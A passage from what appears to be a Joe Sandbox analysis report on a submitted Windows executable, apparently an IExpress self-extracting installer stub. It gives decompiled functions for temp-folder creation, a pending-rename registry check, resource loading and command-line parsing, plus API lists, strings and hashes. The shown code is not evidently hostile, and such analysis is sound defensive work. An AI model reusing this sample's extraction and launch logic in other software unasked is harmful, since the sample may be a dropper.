0x00a357f8
0x00a3580a
0x00a3580a
0x00a357fa
0x00a35802
0x00a35802
0x00a3580d
0x00a3580f
0x00a35830
0x00a35836
0x00a3583d
0x00a3584b
0x00a35851
0x00a35855
0x00a3585a
0x00a3585c
0x00000000
0x00a3585e
0x00a3585e
0x00000000
0x00a3585e
0x00a35811
0x00a35817
0x00a35819
0x00a3581f
0x00000000
0x00a3581f
0x00a35791
0x00a35797
0x00a3579c
0x00a3579e
0x00000000
0x00a357a0
0x00a357a9
0x00a357ae
0x00a357b0
0x00000000
0x00000000
0x00000000
0x00000000
0x00a357b0
0x00a3579e
0x00000000
0x00000000
0x00000000
0x00a35769
0x00a35762
0x00a35753
0x00a3574f
0x00000000
0x00000000
0x00000000
0x00a3572e
0x00000000
0x00a35864
0x00a35864
0x00a35864
0x00a35717
0x00000000
0x00a356c3
0x00a356c5
0x00a356c9
0x00a356ce
0x00a356d0
0x00000000
0x00a356d6
0x00a356d6
0x00a356d8
0x00a356dd
0x00a356df
0x00000000
0x00a356e1
0x00a356e2
0x00a356e4
0x00a356e6
0x00a356eb
0x00a356ed
0x00000000
0x00a356f3
0x00a356f3
0x00000000
0x00a3586c
0x00a35878
0x00a3587e
0x00a35882
0x00a35883
0x00a35889
0x00a3588e
0x00a3588e
0x00000000
0x00a35896
0x00a356ed
0x00a356df
0x00a356d0
0x00a356c1
0x00a356a8
0x00a3565b
0x00a3565b
0x00a3565d
0x00a35669
0x00a35669
0x00a3565f
0x00a3565f
0x00a35665
0x00a35667
0x00000000
0x00000000
0x00a35667
0x00a3566c
0x00a35673
0x00a35678
0x00a3567a
0x00a3589b
0x00a3589b
0x00a35680
0x00a35685
0x00a3568c
0x00000000
0x00a3568c
0x00a3567a
0x00a3560e
0x00a35613
0x00a3561a
0x00a35620
0x00a35626
0x00000000
0x00a35626
0x00a355db
0x00a355e0
0x00a355e7
0x00a355f1
0x00a355f6
0x00a355f6
0x00a355f6
0x00a358b7
0x00a358c7

APIs

Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346A0
Part of subcall function 00A3468F: SizeofResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346A9
Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346C3
Part of subcall function 00A3468F: LoadResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346CC
Part of subcall function 00A3468F: LockResource.KERNEL32(00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346D3
Part of subcall function 00A3468F: memcpy_s.MSVCRT ref: 00A346E5
Part of subcall function 00A3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 00A355CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00A35638
LocalFree.KERNEL32(00000000), ref: 00A3564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00A35620

Part of subcall function 00A344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A34518
Part of subcall function 00A344B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00A34554

Part of subcall function 00A36285: GetLastError.KERNEL32(00A35BBC), ref: 00A36285

GetTempPathA.KERNEL32(00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 00A356B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 00A3571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00A35737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 00A357CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 00A357EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00A35802

Part of subcall function 00A32630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00A32654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00A35830

Part of subcall function 00A36517: FindResourceA.KERNEL32(00A30000,000007D6,00000005), ref: 00A3652A
Part of subcall function 00A36517: LoadResource.KERNEL32(00A30000,00000000,?,?,00A32EE8,00000000,00A319E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00A36538
Part of subcall function 00A36517: DialogBoxIndirectParamA.USER32(00A30000,00000000,00000547,00A319E0,00000000), ref: 00A36557
Part of subcall function 00A36517: FreeResource.KERNEL32(00000000,?,?,00A32EE8,00000000,00A319E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00A36560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00A35878

Part of subcall function 00A3597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00A359A8
Part of subcall function 00A3597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 00A359AF

Strings

msdownld.tmp, xrefs: 00A357D3
Z, xrefs: 00A3570A
A:\, xrefs: 00A356F4
<None>, xrefs: 00A35632
RUNPROGRAM, xrefs: 00A355BD, 00A35600
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A356AE, 00A356B3, 00A3583D

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-1216675450
Opcode ID: df8669569eae9dc8d01150836c96ac1cce153d69e5693909aa952826a3c00338
Instruction ID: d3609c79da711cd796c18d6ceb65978f2621e96f49cdb8460db276d7e3f9a7a1
Opcode Fuzzy Hash: df8669569eae9dc8d01150836c96ac1cce153d69e5693909aa952826a3c00338
Instruction Fuzzy Hash: 17812970E04A14ABDB64EBB89D86BFF736D9F61300F040465F5C6E2190EFB48EC28A50

Uniqueness

Uniqueness Score: -1.00%

Function 00A353A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00A353A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0xa38004; // 0xb6b6972c
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E00A3171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E00A31680(_t32, 0x104, _t20);
					E00A3658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E00A36CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0xa38a20 = 1;
				goto L5;
			}

0x00a353ac
0x00a353b3
0x00a353b9
0x00a353bb
0x00a353bd
0x00a353bf
0x00a353d1
0x00a353d6
0x00a353e0
0x00a353e2
0x00a353f5
0x00a353fb
0x00a35402
0x00a3540b
0x00000000
0x00000000
0x00a35413
0x00000000
0x00000000
0x00a35415
0x00a35416
0x00a35427
0x00a3542a
0x00a3542b
0x00a35434
0x00a35434
0x00a3543a
0x00a3544c
0x00a3544c
0x00a35452
0x00a3545a
0x00000000
0x00000000
0x00a3545e
0x00a3545f
0x00000000

APIs

Part of subcall function 00A3171E: _vsnprintf.MSVCRT ref: 00A31750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A353FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A35402
GetTempFileNameA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A3541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A3542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A35434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A35452

Strings

IXP%03d.TMP, xrefs: 00A353C0
IXP, xrefs: 00A35419
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A353B7, 00A353E1, 00A3541E

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-1581276140
Opcode ID: 829c4849b303d395a10c231bd2f179db4a0621fcfc404c3847f43a1134e64008
Instruction ID: e488fbb0b42e655e8de2cbba8ed879e014fcc9fd1f9cfc460af8abd992d098d8
Opcode Fuzzy Hash: 829c4849b303d395a10c231bd2f179db4a0621fcfc404c3847f43a1134e64008
Instruction Fuzzy Hash: D7112371B0061477D328DB7A9D49FAF766EEFD2311F000125F686D2290CE74898386A2

Uniqueness

Uniqueness Score: -1.00%

Function 00A3256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00A3256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E00A324E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x00a32572
0x00a32573
0x00a32575
0x00a32578
0x00a3257d
0x00a32627
0x00a32583
0x00a32586
0x00a32589
0x00a325eb
0x00a32607
0x00000000
0x00a32609
0x00a3261a
0x00000000
0x00a3261a
0x00000000
0x00a3258b
0x00a3258b
0x00a3259e
0x00a325b2
0x00a325ba
0x00a325cb
0x00a325d1
0x00a325d6
0x00a325da
0x00a325dd
0x00a325dd
0x00a325e3
0x00a325e3
0x00a325e3
0x00a3258b
0x00a32589
0x00a3262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000036,00A34096,00A34096,?,00A31ED3,00000001,00000000,?,?,00A34137,?), ref: 00A325B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00A34096,?,00A31ED3,00000001,00000000,?,?,00A34137,?,00A34096), ref: 00A325CB
RegCloseKey.KERNELBASE(?,?,00A31ED3,00000001,00000000,?,?,00A34137,?,00A34096), ref: 00A325DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000036,00A34096,00A34096,?,00A31ED3,00000001,00000000,?,?,00A34137,?), ref: 00A325FF
RegQueryInfoKeyA.ADVAPI32 ref: 00A3261A

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00A325F5
System\CurrentControlSet\Control\Session Manager, xrefs: 00A325A8
PendingFileRenameOperations, xrefs: 00A325C3

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: fa09178a84afbcdf535db3ac06aa5258904f22fe1c2a6c456d6fa6b43ae2d832
Instruction ID: af2ad79cf4dcfc96db607766019b1d6f74ebdfe6d6b44e6c95861690e7126f04
Opcode Fuzzy Hash: fa09178a84afbcdf535db3ac06aa5258904f22fe1c2a6c456d6fa6b43ae2d832
Instruction Fuzzy Hash: BB118F35A02238BBAB24DB91AC09EFBBE7CEF127A1F104055B849A2000D7745F45D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00A36A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E00A37155();
				_push(0x58);
				_push(0xa372b8);
				E00A37208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0xa388b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0xa388b0; // 0x2
						if(__eflags != 0) {
							 *0xa381e4 = _t58;
							goto L13;
						} else {
							 *0xa388b0 = _t58;
							_t37 = E00A36C3F(0xa310b8, 0xa310c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L00A36FF4();
						L13:
						_t68 =  *0xa388b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0xa310b4);
							_push(0xa310ac);
							L00A37202();
							 *0xa388b0 = 2;
						}
						if(_t53 == 0) {
							 *0xa388ac = 0;
						}
						_t71 =  *0xa388b4;
						if( *0xa388b4 != 0 && E00A37060(_t71, 0xa388b4) != 0) {
							_t60 =  *0xa388b4; // 0x0
							 *0xa3a288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x76725b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E00A32BFB(0xa30000, 0, _t59); // executed
							 *0xa381e0 = _t30;
							__eflags =  *0xa381f8;
							if( *0xa381f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0xa381e4;
							if( *0xa381e4 == 0) {
								__imp___cexit();
								_t30 =  *0xa381e0; // 0x0
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E00A3724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x00a36a60
0x00a36a6a
0x00a36a6c
0x00a36a71
0x00a36a78
0x00a36a7f
0x00a36a85
0x00a36a8e
0x00a36a91
0x00a36a93
0x00a36a9c
0x00a36aa2
0x00000000
0x00000000
0x00a36aa6
0x00a36ab4
0x00000000
0x00a36aa8
0x00a36aaa
0x00a36aab
0x00a36aab
0x00a36abf
0x00a36abf
0x00a36ac5
0x00a36ad1
0x00a36ad7
0x00a36b05
0x00000000
0x00a36ad9
0x00a36ad9
0x00a36ae9
0x00a36af0
0x00a36af2
0x00000000
0x00a36af4
0x00a36af4
0x00a36afb
0x00a36afb
0x00a36af2
0x00a36ac7
0x00a36ac7
0x00a36ac9
0x00a36b0b
0x00a36b0b
0x00a36b11
0x00a36b13
0x00a36b18
0x00a36b1d
0x00a36b24
0x00a36b24
0x00a36b30
0x00a36b39
0x00a36b39
0x00a36b3b
0x00a36b42
0x00a36b57
0x00a36b5f
0x00a36b65
0x00a36b65
0x00a36b67
0x00a36b6c
0x00a36b6e
0x00a36b71
0x00a36b74
0x00a36b74
0x00a36b79
0x00000000
0x00000000
0x00a36b7d
0x00a36b81
0x00000000
0x00000000
0x00a36b83
0x00a36b8c
0x00a36b8d
0x00a36b90
0x00a36b90
0x00a36b83
0x00a36b81
0x00a36b94
0x00a36b98
0x00a36ba2
0x00a36b9a
0x00a36b9a
0x00a36b9a
0x00a36ba3
0x00a36bab
0x00a36bb0
0x00a36bb5
0x00a36bbc
0x00a36bbf
0x00000000
0x00a36bbf
0x00a36c1e
0x00a36c25
0x00a36c27
0x00a36c2d
0x00a36c2d
0x00a36c32
0x00000000
0x00a36bc5
0x00a36bc5
0x00a36bc8
0x00a36bcc
0x00a36bce
0x00a36bce
0x00a36bd1
0x00a36bd3
0x00a36bd3
0x00a36bd6
0x00a36bda
0x00a36be1
0x00a36be3
0x00a36be5
0x00a36be5
0x00a36be6
0x00a36be6
0x00a36be9
0x00a36bea
0x00a36bea
0x00a36b74
0x00a36c39
0x00a36c3e
0x00a36c3e
0x00a36abe
0x00a36abe
0x00000000

APIs

Part of subcall function 00A37155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00A37182
Part of subcall function 00A37155: GetCurrentProcessId.KERNEL32 ref: 00A37191
Part of subcall function 00A37155: GetCurrentThreadId.KERNEL32 ref: 00A3719A
Part of subcall function 00A37155: GetTickCount.KERNEL32 ref: 00A371A3
Part of subcall function 00A37155: QueryPerformanceCounter.KERNEL32(?), ref: 00A371B8

GetStartupInfoW.KERNEL32(?,00A372B8,00000058), ref: 00A36A7F
Sleep.KERNEL32(000003E8), ref: 00A36AB4
_amsg_exit.MSVCRT ref: 00A36AC9
_initterm.MSVCRT ref: 00A36B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00A36B49
exit.KERNELBASE ref: 00A36BBF
_ismbblead.MSVCRT ref: 00A36BDA

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 6803378bee397455c367cfd0296d334dd4e10f68b20f3fcd5a559d87a851b50c
Instruction ID: 4ba4553b13f192e1f8d401b115ac4227aef9f8b7a1d2e86a6965423b2691bd71
Opcode Fuzzy Hash: 6803378bee397455c367cfd0296d334dd4e10f68b20f3fcd5a559d87a851b50c
Instruction Fuzzy Hash: A141E271988324BBDB21DFA8DD057AAB7F4FB44760F24811AF841E7290CB7849428F90

Uniqueness

Uniqueness Score: -1.00%

Function 00A358C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00A358C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E00A31680(_t20, _t36, _t33);
					E00A3658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0xa39124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E00A344B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0xa39124 = E00A36285();
					_t14 = 0;
				}
				return _t14;
			}

0x00a358cd
0x00a358d1
0x00a358d3
0x00a358d5
0x00a358d8
0x00a358d8
0x00a358da
0x00a358db
0x00a358e1
0x00a358ed
0x00a358f1
0x00a3591e
0x00a3592c
0x00a35943
0x00a3594a
0x00a3594d
0x00a35953
0x00a35959
0x00000000
0x00a3595b
0x00a3595c
0x00a35963
0x00a3596c
0x00000000
0x00a35972
0x00a35974
0x00a3597a
0x00a3597a
0x00a3596c
0x00a358f3
0x00a35901
0x00a35906
0x00a3590b
0x00a35910
0x00a35910
0x00a35918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00A35534,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A358E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00A35534,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A35943
LocalFree.KERNEL32(00000000,?,00A35534,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A3594D
CloseHandle.KERNEL32(00000000,?,00A35534,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A3595C
GetFileAttributesA.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00A35534,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A35963

Strings

TMP4351$.TMP, xrefs: 00A35923
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A358CD, 00A358CF, 00A35919, 00A35962

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-3788082193
Opcode ID: b59e9406d4441ca579a135bb5447fe40dee489258b0ceae9af11e404705a6817
Instruction ID: 267931665bcd2474106da9e7d3fbf78272712764ad50bd3e58ace7791300510f
Opcode Fuzzy Hash: b59e9406d4441ca579a135bb5447fe40dee489258b0ceae9af11e404705a6817
Instruction Fuzzy Hash: 42110871B002207BC7249FFD6C4DB9BBE9DDF46360F104615F546D31D1CB70980686A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A351E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00A351E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E00A3468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E00A3468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E00A344B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0xa39124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0xa39124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E00A344B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0xa39124 = 0x80070714;
					goto L10;
				}
				E00A344B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0xa39124 = E00A36285();
				goto L10;
			}

0x00a351fb
0x00a35207
0x00a3520b
0x00a3523c
0x00a35268
0x00a35270
0x00a3528b
0x00a35293
0x00a3529c
0x00a352a6
